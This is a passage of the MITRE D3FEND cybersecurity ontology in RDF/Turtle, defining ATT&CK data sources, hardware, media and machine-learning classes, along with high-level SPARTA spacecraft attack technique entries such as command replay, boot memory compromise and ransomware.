    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Network Traffic Content component" .

d3f:DS0030 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Instance (ATT&CK DS)" ;
    d3f:definition "A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers" ;
    rdfs:comment "This data source currently has no mappings to digital artifacts." .

d3f:DS0032 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Container (ATT&CK DS)" ;
    d3f:definition "A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another" ;
    rdfs:comment "This data source captures events relating to containers and therefore has no direct mappings to digital artifacts." .

d3f:DS0033 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Network Share (ATT&CK DS)" ;
    d3f:definition "A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)" ;
    rdfs:comment "This data source captures events relating to shared network resources and therefore has no direct mappings to digital artifacts." .

d3f:DS0034 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Volume (ATT&CK DS)" ;
    d3f:definition "Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives" ;
    rdfs:comment "This data source currently has no mappings to digital artifacts." .

d3f:DS0035 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Internet Scan (ATT&CK DS)" ;
    d3f:definition "Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet" ;
    rdfs:comment "This data source currently has no mappings to digital artifacts." .

d3f:DS0036 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Group (ATT&CK DS)" ;
    d3f:definition "A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights" ;
    d3f:exactly d3f:UserGroup ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Group Metadata component" .

d3f:DS0037 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Certificate (ATT&CK DS)" ;
    d3f:definition "A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications" ;
    rdfs:comment "This data source captures events relating to certificates and therefore has no direct mappings to digital artifacts." .

d3f:DS0038 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Domain Name (ATT&CK DS)" ;
    d3f:definition "Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)" ;
    rdfs:comment "This data source currently has no mappings to digital artifacts." .

d3f:DS0039 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Asset (ATT&CK DS)" ;
    d3f:definition "Data sources with information about the set of devices found within the network, along with their current software and configurations" ;
    d3f:exactly d3f:AssetInventoryAgent .

d3f:DS0040 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Operational Database (ATT&CK DS)" ;
    d3f:definition "Operational databases contain information about the status of the operational process and associated devices, including any measurements, events, history, or alarms that have occurred" ;
    rdfs:comment "This data source currently has no mappings to digital artifacts." .

d3f:DS0041 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Application Vetting (ATT&CK DS)" ;
    d3f:broader d3f:CodeAnalyzer ;
    d3f:definition "Application vetting report generated by an external cloud service." .

d3f:DS0042 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "User Interface (ATT&CK DS)" ;
    d3f:definition "Visual activity on the device that could alert the user to potentially malicious behavior." ;
    rdfs:comment "This data source currently has no mappings to digital artifacts, but may be updated in future releases." .

d3f:DataAcquisitionUnit a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data Acquisition Unit" ;
    d3f:definition "The hardware component which connects to data sources to gather raw, time-stamped data. It often connects to databases or historian gateways for storage and analysis." ;
    d3f:may-contain d3f:DataAcquisitionAgent ;
    rdfs:seeAlso <https://attack.mitre.org/assets/A0009> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:DataAcquisitionAgent ],
        d3f:HardwareDevice .

d3f:DataArtifactServer a owl:Class ;
    rdfs:label "Data Artifact Server" ;
    d3f:definition "A data artifact server provides access services to content in a content repository.  The content repository or content store is a database of digital content with an associated set of data management, search and access methods allowing application-independent access to the content, rather like a digital library, but with the ability to store and modify content in addition to searching and retrieving. The content repository acts as the storage engine for a larger application such as a content management system or a document management system, which adds a user interface on top of the repository's application programming interface." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Content_repository> ;
    rdfs:subClassOf d3f:ArtifactServer .

d3f:DataLinkLink a owl:Class ;
    rdfs:label "Data Link Link" ;
    d3f:definition "A communication link between two network devices connected directly at the physical layer and on the same network segment; i.e., an OSI Layer 2 link." ;
    d3f:synonym "Data Link Layer Link",
        "Layer-2 Link",
        "Link Layer Link" ;
    rdfs:seeAlso <https://dbpedia.org/resource/Link_layer> ;
    rdfs:subClassOf d3f:LogicalLink .

d3f:DatabaseServer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Database Server" ;
    d3f:contains d3f:DatabaseApplication ;
    d3f:definition "A database server is a server which uses a database application that provides database services to other computer programs or to computers, as defined by the client-server model. Database management systems (DBMSs) frequently provide database-server functionality, and some database management systems (such as MySQL) rely exclusively on the client-server model for database access (while others e.g. SQLite are meant for using as an embedded database). For clarification, a database server is simply a server that maintains services related to clients via database applications." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Database_server> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:DatabaseApplication ],
        d3f:Server ;
    skos:altLabel "Network Database Resource" .

d3f:Datalog a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Datalog" ;
    d3f:d3fend-id "D3A-DAT" ;
    d3f:definition "Datalog is a declarative logic programming language that is a syntactically a subset of Prolog." ;
    d3f:kb-article """## How it works
Datalog generally uses a bottom-up rather than top-down evaluation model. This difference yields significantly different behavior and properties from Prolog. It is often used as a query language for deductive databases. Datalog has been applied to problems in data integration, networking, program analysis, and more.

## References
1. Datalog. (2023, April 20). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Datalog)""" ;
    rdfs:subClassOf d3f:LogicProgramming .

d3f:DecisionTreeRegression a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decision Tree Regression" ;
    d3f:d3fend-id "D3A-DTR" ;
    d3f:definition "Decision Trees Regression is asupervised learning method with the goal  to create a model that predicts the value of a target variable by learning simple decision rules inferred from the data features" ;
    d3f:kb-article """## References
scikit-learn. (n.d.). Decision Trees. [Link](https://scikit-learn.org/stable/modules/tree.html#tree)""" ;
    rdfs:subClassOf d3f:RegressionAnalysisLearning .

d3f:DecoderApplication a owl:Class ;
    rdfs:label "Decoder Application" ;
    d3f:definition "An application that decodes digital data." ;
    rdfs:subClassOf d3f:CodecApplication .

d3f:DeepConvolutionalGAN a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Deep Convolutional GAN" ;
    d3f:d3fend-id "D3A-DCG" ;
    d3f:definition "Deep Convolutional GAN (DCGAN) uses convolutional and convolutional-transpose layers in the generator and discriminator, respectively." ;
    d3f:kb-article """## References
Analytics Vidhya. (2021). Deep Convolutional Generative Adversarial Network (DCGAN) for Beginners. [Link](https://www.analyticsvidhya.com/blog/2021/07/deep-convolutional-generative-adversarial-network-dcgan-for-beginners/)""" ;
    d3f:synonym "DCGAN" ;
    rdfs:subClassOf d3f:ImageSynthesisGAN .

d3f:DeepQ-learning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Deep Q-learning" ;
    d3f:d3fend-id "D3A-DQL" ;
    d3f:definition "Uses a deep convolutional neural network, with layers of tiled convolutional filters to mimic the effects of receptive fields." ;
    d3f:kb-article """## References
Q-learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Q-learning#Deep_Q-learning).""" ;
    rdfs:subClassOf d3f:Q-Learning .

d3f:Density-weightedMethod a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Density-weighted Method" ;
    d3f:d3fend-id "D3A-DWM" ;
    d3f:definition "An Actvie Learning technique that uses a density estimate meta-parameter to avoid sampling sparsely populated regions of the feature space and can be based parametrically or from a parameter free model." ;
    d3f:kb-article """## References
Intro to Active Learning. inovex Blog. [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).""" ;
    rdfs:subClassOf d3f:ActiveLearning .

d3f:DeonticLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Deontic Logic" ;
    d3f:d3fend-id "D3A-DL" ;
    d3f:definition "Deontic logic addresses the modality of obligations and norms; i.e., the modality of morality." ;
    d3f:kb-article """## References
1. Deontic logic. (2023, June 4). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Modal_logic#Deontic_logic)""" ;
    rdfs:subClassOf d3f:ModalLogic .

d3f:DesktopComputer a owl:Class ;
    rdfs:label "Desktop Computer" ;
    d3f:definition "A desktop computer is a personal computer designed for regular use at a single location on or near a desk or table due to its size and power requirements. The most common configuration has a case that houses the power supply, motherboard (a printed circuit board with a microprocessor as the central processing unit (CPU), memory, bus, and other electronic components, disk storage (usually one or more hard disk drives, solid state drives, optical disc drives, and in early models a floppy disk drive); a keyboard and mouse for input; and a computer monitor, speakers, and, often, a printer for output. The case may be oriented horizontally or vertically and placed either underneath, beside, or on top of a desk." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Desktop_computer> ;
    rdfs:subClassOf d3f:PersonalComputer .

d3f:DialUpModem a owl:Class ;
    rdfs:label "Dial Up Modem" ;
    d3f:definition "A dial-up modem transmits computer data over an ordinary switched telephone line that has not been designed for data use. This contrasts with leased line modems, which also operate over lines provided by a telephone company, but ones which are intended for data use and do not impose the same signaling constraints. The modulated data must fit the frequency constraints of a normal voice audio signal, and the modem must be able to perform the actions needed to connect a call through a telephone exchange, namely: picking up the line, dialing, understanding signals sent back by phone company equipment (dial tone, ringing, busy signal,) and on the far end of the call, the second modem in the connection must be able to recognize the incoming ring signal and answer the line." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Modem#Dial-up> ;
    rdfs:subClassOf d3f:Modem .

d3f:DifferentialVolumeSnapshot a owl:Class ;
    rdfs:label "Differential Volume Snapshot" ;
    d3f:definition "A differential volume snapshot is a point-in-time capture of the files and directories that were changed since the last full snapshot." ;
    rdfs:seeAlso <https://aws.amazon.com/compare/the-difference-between-incremental-differential-and-other-backups/> ;
    rdfs:subClassOf d3f:VolumeSnapshot .

d3f:DigitalAccessBadge a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Digital Access Badge" ;
    d3f:definition "A credential used to gain entry to an area having automated access control entry points. Example media being magnetic stripe, proximity, barcode, or smart cards are examples." ;
    d3f:operates d3f:ElectronicCombinationLock ;
    d3f:synonym "CAC",
        "Common Access Card",
        "PIV",
        "Personal Identity Verification" ;
    rdfs:seeAlso <https://dbpedia.org/page/Access_badge>,
        <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-116r1.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:operates ;
            owl:someValuesFrom d3f:ElectronicCombinationLock ],
        d3f:Credential .

d3f:DigitalAudio a owl:Class ;
    rdfs:label "Digital Audio" ;
    d3f:definition "Digital audio is a representation of sound recorded in, or converted into, digital form." ;
    rdfs:isDefinedBy "https://dbpedia.org/page/Digital_audio" ;
    rdfs:subClassOf d3f:DigitalMedia .

d3f:DigitalAudioVisualMedia a owl:Class ;
    rdfs:label "Digital Audio Visual Media" ;
    d3f:definition "Audiovisual (AV) is electronic media possessing both a sound and a visual component." ;
    rdfs:isDefinedBy "https://dbpedia.org/page/Audiovisual" ;
    rdfs:subClassOf d3f:DigitalMultimedia .

d3f:DigitalDocument a owl:Class ;
    rdfs:label "Digital Document" ;
    d3f:definition "An digital document is any electronic media content (other than computer programs or system files) that is intended to be used in either an electronic form or as printed output." ;
    rdfs:isDefinedBy "https://dbpedia.org/page/Electronic_document" ;
    rdfs:subClassOf d3f:DigitalMedia .

d3f:DigitalText a owl:Class ;
    rdfs:label "Digital Text" ;
    d3f:definition "Digital text is written content encoded in a digital format, allowing for storage, retrieval, and manipulation by electronic devices." ;
    rdfs:subClassOf d3f:DigitalMedia .

d3f:DigitalVideo a owl:Class ;
    rdfs:label "Digital Video" ;
    d3f:definition "Digital video is an electronic representation of moving visual images (video) in the form of encoded digital data." ;
    rdfs:isDefinedBy "https://dbpedia.org/page/Digital_video" ;
    rdfs:subClassOf d3f:DigitalMedia .

d3f:DiscriminantAnalysis a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Discriminant Analysis" ;
    d3f:d3fend-id "D3A-DA" ;
    d3f:definition "Discriminant analysis attempts to establish whether a set of variables can be used to distinguish between two or more groups of cases." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Multivariate statistics. [Link](https://en.wikipedia.org/wiki/Multivariate_statistics)""" ;
    rdfs:subClassOf d3f:MultivariateAnalysis .

d3f:DisplayDeviceDriver a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Display Device Driver" ;
    d3f:definition "A device driver for a display adapter." ;
    d3f:drives d3f:DisplayAdapter ;
    rdfs:seeAlso <http://dbpedia.org/resource/Device_driver>,
        <http://dbpedia.org/resource/Display_adapter> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:drives ;
            owl:someValuesFrom d3f:DisplayAdapter ],
        d3f:HardwareDriver .

d3f:DivisiveClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Divisive Clustering" ;
    d3f:d3fend-id "D3A-DC" ;
    d3f:definition "A divisive clustering approach is a hierarchical, top-down approach to clustering a dataset." ;
    rdfs:subClassOf d3f:HierarchicalClustering .

d3f:Dyna-Q a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Dyna-Q" ;
    d3f:d3fend-id "D3A-DQ" ;
    d3f:definition "A Dyna-Q agent combines acting, learning, and planning." ;
    d3f:kb-article """## References
CompNeuro Neuromatch Academy Tutorials. [Link](https://compneuro.neuromatch.io/tutorials/W3D4_ReinforcementLearning/student/W3D4_Tutorial4.html)""" ;
    rdfs:subClassOf d3f:Model-basedReinforcementLearning .

d3f:DynamicAnalysisTool a owl:Class ;
    rdfs:label "Dynamic Analysis Tool" ;
    d3f:definition "Dynamic program analysis is the analysis of computer software that is performed by executing programs on a real or virtual processor." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Dynamic_program_analysis> ;
    rdfs:subClassOf d3f:CodeAnalyzer .

d3f:EX-0001.01 a owl:Class ;
    rdfs:label "Command Packets - SPARTA" ;
    d3f:attack-id "EX-0001.01" ;
    d3f:definition "Threat actors may interact with the victim spacecraft by replaying captured commands to the spacecraft. While not necessarily malicious in nature, replayed commands can be used to overload the target spacecraft and cause it's onboard systems to crash, perform a DoS attack, or monitor various responses by the spacecraft. If critical commands are captured and replayed, thruster fires, then the impact could impact the spacecraft's attitude control/orbit." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0001/01/> ;
    rdfs:subClassOf d3f:EX-0001 ;
    skos:prefLabel "Command Packets" .

d3f:EX-0001.02 a owl:Class ;
    rdfs:label "Bus Traffic Replay - SPARTA" ;
    d3f:attack-id "EX-0001.02" ;
    d3f:definition "Threat actors may abuse internal commanding to replay bus traffic within the victim spacecraft. On-board resources within the spacecraft are very limited due to the number of subsystems, payloads, and sensors running at a single time. The internal bus is designed to send messages to the various subsystems and have them processed as quickly as possible to save time and resources. By replaying this data, threat actors could use up these resources, causing other systems to either slow down or cease functions until all messages are processed. Additionally replaying bus traffic could force the subsystems to repeat actions that could affects on attitude, power, etc." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0001/02/> ;
    rdfs:subClassOf d3f:EX-0001 ;
    skos:prefLabel "Bus Traffic Replay" .

d3f:EX-0002 a owl:Class ;
    rdfs:label "Position, Navigation, and Timing (PNT) Geofencing - SPARTA" ;
    d3f:attack-id "EX-0002" ;
    d3f:definition "Threat actors may leverage the fact that spacecraft orbit through space unlike typical enterprise systems which are stationary. Threat actors can leverage the mobility of spacecraft to their advantage so the malicious code has a trigger based on spacecraft ephemeris to only execute when the spacecraft is within a certain location (within a countries boundary for example) that is often referred to as Geofencing. By using a Geofence an adversary can ensure that malware is only executed when it is needed. The relative or absolute position of the spacecraft could be combined with some form of timing to serve as the trigger for malware execution." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0002/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Position, Navigation, and Timing (PNT) Geofencing" .

d3f:EX-0003 a owl:Class ;
    rdfs:label "Modify Authentication Process - SPARTA" ;
    d3f:attack-id "EX-0003" ;
    d3f:definition "Threat actors may modify the internal authentication process of the victim spacecraft to facilitate initial access, recurring execution, or prevent authorized entities from accessing the spacecraft. This can be done through the modification of the software binaries or memory manipulation techniques." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0003/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Modify Authentication Process" .

d3f:EX-0004 a owl:Class ;
    rdfs:label "Compromise Boot Memory - SPARTA" ;
    d3f:attack-id "EX-0004" ;
    d3f:definition "Threat actors may manipulate boot memory in order to execute malicious code, bypass internal processes, or DoS the system. This technique can be used to perform other tactics such as Defense Evasion." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0004/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Compromise Boot Memory" .

d3f:EX-0005.01 a owl:Class ;
    rdfs:label "Design Flaws - SPARTA" ;
    d3f:attack-id "EX-0005.01" ;
    d3f:definition "Threat actors may target design features/flaws with the hardware design to their advantage to cause the desired impact. Threat actors may utilize the inherent design of the hardware (e.g. hardware timers, hardware interrupts, memory cells), which is intended to provide reliability, to their advantage to degrade other aspects like availability.  Additionally, field programmable gate array (FPGA)/application-specific integrated circuit (ASIC) logic can be exploited just like software code can be exploited. There could be logic/design flaws embedded in the hardware (i.e., FPGA/ASIC) which may be exploitable by a threat actor." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0005/01/> ;
    rdfs:subClassOf d3f:EX-0005 ;
    skos:prefLabel "Design Flaws" .

d3f:EX-0005.02 a owl:Class ;
    rdfs:label "Malicious Use of Hardware Commands - SPARTA" ;
    d3f:attack-id "EX-0005.02" ;
    d3f:definition "Threat actors may utilize various hardware commands and perform malicious activities with them. Hardware commands typically differ from traditional command channels as they bypass many of the traditional protections and pathways and are more direct therefore they can be dangerous if not protected. Hardware commands are sometime a necessity to perform various actions such as configuring sensors, adjusting positions, and rotating internal motors. Threat actors may use these commands to perform malicious activities that can damage the victim spacecraft in some capacity." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0005/02/> ;
    rdfs:subClassOf d3f:EX-0005 ;
    skos:prefLabel "Malicious Use of Hardware Commands" .

d3f:EX-0006 a owl:Class ;
    rdfs:label "Disable/Bypass Encryption - SPARTA" ;
    d3f:attack-id "EX-0006" ;
    d3f:definition "Threat actors may perform specific techniques in order to bypass or disable the encryption mechanism onboard the victim spacecraft. By bypassing or disabling this particular mechanism, further tactics can be performed, such as Exfiltration, that may have not been possible with the internal encryption process in place." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0006/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Disable/Bypass Encryption" .

d3f:EX-0007 a owl:Class ;
    rdfs:label "Trigger Single Event Upset - SPARTA" ;
    d3f:attack-id "EX-0007" ;
    d3f:definition "Threat actors may utilize techniques to create a single-event upset (SEU) which is a change of state caused by one single ionizing particle (ions, electrons, photons...) striking a sensitive node in a spacecraft(i.e., microprocessor, semiconductor memory, or power transistors). The state change is a result of the free charge created by ionization in or close to an important node of a logic element (e.g. memory \"bit\"). This can cause unstable conditions on the spacecraft depending on which component experiences the SEU. SEU is a known phenomenon for spacecraft due to high radiation in space, but threat actors may attempt to utilize items like microwaves to create a SEU." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0007/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Trigger Single Event Upset" .

d3f:EX-0008.01 a owl:Class ;
    rdfs:label "Absolute Time Sequences - SPARTA" ;
    d3f:attack-id "EX-0008.01" ;
    d3f:definition "Threat actors may develop payloads or insert malicious logic to be executed at a specific time. In the case of Absolute Time Sequences (ATS), the event is triggered at specific date/time - regardless of the state or location of the target." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0008/01/> ;
    rdfs:subClassOf d3f:EX-0008 ;
    skos:prefLabel "Absolute Time Sequences" .

d3f:EX-0008.02 a owl:Class ;
    rdfs:label "Relative Time Sequences - SPARTA" ;
    d3f:attack-id "EX-0008.02" ;
    d3f:definition "Threat actors may develop payloads or insert malicious logic to be executed at a specific time. In the case of Relative Time Sequences (RTS), the event is triggered in relation to some other event. For example, a specific amount of time after boot." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0008/02/> ;
    rdfs:subClassOf d3f:EX-0008 ;
    skos:prefLabel "Relative Time Sequences" .

d3f:EX-0009.01 a owl:Class ;
    rdfs:label "Flight Software - SPARTA" ;
    d3f:attack-id "EX-0009.01" ;
    d3f:definition "Threat actors may abuse known or unknown flight software code flaws in order to further the attack campaign.  Some FSW suites contain API functionality for operator interaction. Threat actors may seek to exploit these or abuse a vulnerability/misconfiguration to maliciously execute code or commands. In some cases, these code flaws can perpetuate throughout the victim spacecraft, allowing access to otherwise segmented subsystems." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0009/01/> ;
    rdfs:subClassOf d3f:EX-0009 ;
    skos:prefLabel "Flight Software" .

d3f:EX-0009.02 a owl:Class ;
    rdfs:label "Operating System - SPARTA" ;
    d3f:attack-id "EX-0009.02" ;
    d3f:definition "Threat actors may exploit flaws in the operating system code, which controls the storage, memory management, provides resources to the FSW, and controls the bus. There has been a trend where some modern spacecraft are running Unix-based operating systems and establishing SSH connections for communications between the ground and spacecraft. Threat actors may seek to gain access to command line interfaces & shell environments in these instances. Additionally, most operating systems, including real-time operating systems, include API functionality for operator interaction. Threat actors may seek to exploit these or abuse a vulnerability/misconfiguration to maliciously execute code or commands." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0009/02/> ;
    rdfs:subClassOf d3f:EX-0009 ;
    skos:prefLabel "Operating System" .

d3f:EX-0009.03 a owl:Class ;
    rdfs:label "Known Vulnerability (COTS/FOSS) - SPARTA" ;
    d3f:attack-id "EX-0009.03" ;
    d3f:definition "Threat actors may utilize knowledge of the spacecraft software composition to enumerate and exploit known flaws or vulnerabilities in the commercial or open source software running on-board the target spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0009/03/> ;
    rdfs:subClassOf d3f:EX-0009 ;
    skos:prefLabel "Known Vulnerability (COTS/FOSS)" .

d3f:EX-0010.01 a owl:Class ;
    rdfs:label "Ransomware - SPARTA" ;
    d3f:attack-id "EX-0010.01" ;
    d3f:definition "Threat actors may encrypt spacecraft data to interrupt availability and usability. Threat actors can attempt to render stored data inaccessible by encrypting files or data and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key or to render data permanently inaccessible in cases where the key is not saved or transmitted." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0010/01/> ;
    rdfs:subClassOf d3f:EX-0010 ;
    skos:prefLabel "Ransomware" .

d3f:EX-0010.02 a owl:Class ;
    rdfs:label "Wiper Malware - SPARTA" ;
    d3f:attack-id "EX-0010.02" ;
    d3f:definition "Threat actors may deploy wiper malware, which is a type of malicious software designed to destroy data or render it unusable. Wiper malware can spread through various means, software vulnerabilities (CWE/CVE), or by exploiting weak or stolen credentials." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0010/02/> ;
    rdfs:subClassOf d3f:EX-0010 ;
    skos:prefLabel "Wiper Malware" .

d3f:EX-0010.03 a owl:Class ;
    rdfs:label "Rootkit - SPARTA" ;
    d3f:attack-id "EX-0010.03" ;
    d3f:definition "Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the flight software or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or System Firmware." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0010/03/> ;
    rdfs:subClassOf d3f:EX-0010 ;
    skos:prefLabel "Rootkit" .

d3f:EX-0010.04 a owl:Class ;
    rdfs:label "Bootkit - SPARTA" ;
    d3f:attack-id "EX-0010.04" ;
    d3f:definition "Adversaries may use bootkits to persist on systems and evade detection. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0010/04/> ;
    rdfs:subClassOf d3f:EX-0010 ;
    skos:prefLabel "Bootkit" .

d3f:EX-0011 a owl:Class ;
    rdfs:label "Exploit Reduced Protections During Safe-Mode - SPARTA" ;
    d3f:attack-id "EX-0011" ;
    d3f:definition "Threat actors who have access to a spacecraft in safe mode may issue malicious commands that would not normally be accepted during nominal operations. Safe-mode is when all non-essential systems are shut down and only essential functions within the spacecraft are active. Because safe mode prioritizes essential functions and often disables non-critical protections or filters, adversaries can exploit this state to trigger unauthorized reconfiguration, software modification, or system manipulation during recovery or degraded operation." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0011/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Exploit Reduced Protections During Safe-Mode" .

d3f:EX-0012.01 a owl:Class ;
    rdfs:label "Registers - SPARTA" ;
    d3f:attack-id "EX-0012.01" ;
    d3f:definition "Threat actors may target the internal registers of the victim spacecraft in order to modify specific values as the FSW is functioning or prevent certain subsystems from working. Most aspects of the spacecraft rely on internal registries to store important data and temporary values. By modifying these registries at certain points in time, threat actors can disrupt the workflow of the subsystems or onboard payload, causing them to malfunction or behave in an undesired manner." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/01/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Registers" .

d3f:EX-0012.02 a owl:Class ;
    rdfs:label "Internal Routing Tables - SPARTA" ;
    d3f:attack-id "EX-0012.02" ;
    d3f:definition "Threat actors may modify the internal routing tables of the FSW to disrupt the work flow of the various subsystems. Subsystems register with the main bus through an internal routing table. This allows the bus to know which subsystem gets particular commands that come from legitimate users. By targeting this table, threat actors could potentially cause commands to not be processed by the desired subsystem." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/02/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Internal Routing Tables" .

d3f:EX-0012.03 a owl:Class ;
    rdfs:label "Memory Write/Loads - SPARTA" ;
    d3f:attack-id "EX-0012.03" ;
    d3f:definition "Threat actors may utilize the target spacecraft's ability for direct memory access to carry out desired effect on the target spacecraft. spacecraft's often have the ability to take direct loads or singular commands to read/write to/from memory directly. spacecraft's that contain the ability to input data directly into memory provides a multitude of potential attack scenarios for a threat actor. Threat actors can leverage this design feature or concept of operations to their advantage to establish persistence, execute malware, etc." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/03/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Memory Write/Loads" .

d3f:EX-0012.04 a owl:Class ;
    rdfs:label "App/Subscriber Tables - SPARTA" ;
    d3f:attack-id "EX-0012.04" ;
    d3f:definition "Threat actors may target the application (or subscriber) table. Some architectures are publish / subscribe architectures where modifying these tables can affect data flows. This table is used by the various flight applications and subsystems to subscribe to a particular group of messages. By targeting this table, threat actors could potentially cause specific flight applications and/or subsystems to not receive the correct messages. In legacy MIL-STD-1553 implementations modifying the remote terminal configurations would fall under this sub-technique as well." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/04/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "App/Subscriber Tables" .

d3f:EX-0012.05 a owl:Class ;
    rdfs:label "Scheduling Algorithm - SPARTA" ;
    d3f:attack-id "EX-0012.05" ;
    d3f:definition "Threat actors may target scheduling features on the target spacecraft. spacecraft's are typically engineered as real time scheduling systems which is composed of the scheduler, clock and the processing hardware elements. In these real-time system, a process or task has the ability to be scheduled; tasks are accepted by a real-time system and completed as specified by the task deadline depending on the characteristic of the scheduling algorithm. Threat actors can attack the scheduling capability to have various effects on the spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/05/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Scheduling Algorithm" .

d3f:EX-0012.06 a owl:Class ;
    rdfs:label "Science/Payload Data - SPARTA" ;
    d3f:attack-id "EX-0012.06" ;
    d3f:definition "Threat actors may target the internal payload data in order to exfiltrate it or modify it in some capacity. Most spacecraft have a specific mission objectives that they are trying to meet with the payload data being a crucial part of that purpose. When a threat actor targets this data, the victim spacecraft's mission objectives could be put into jeopardy." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/06/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Science/Payload Data" .

d3f:EX-0012.07 a owl:Class ;
    rdfs:label "Propulsion Subsystem - SPARTA" ;
    d3f:attack-id "EX-0012.07" ;
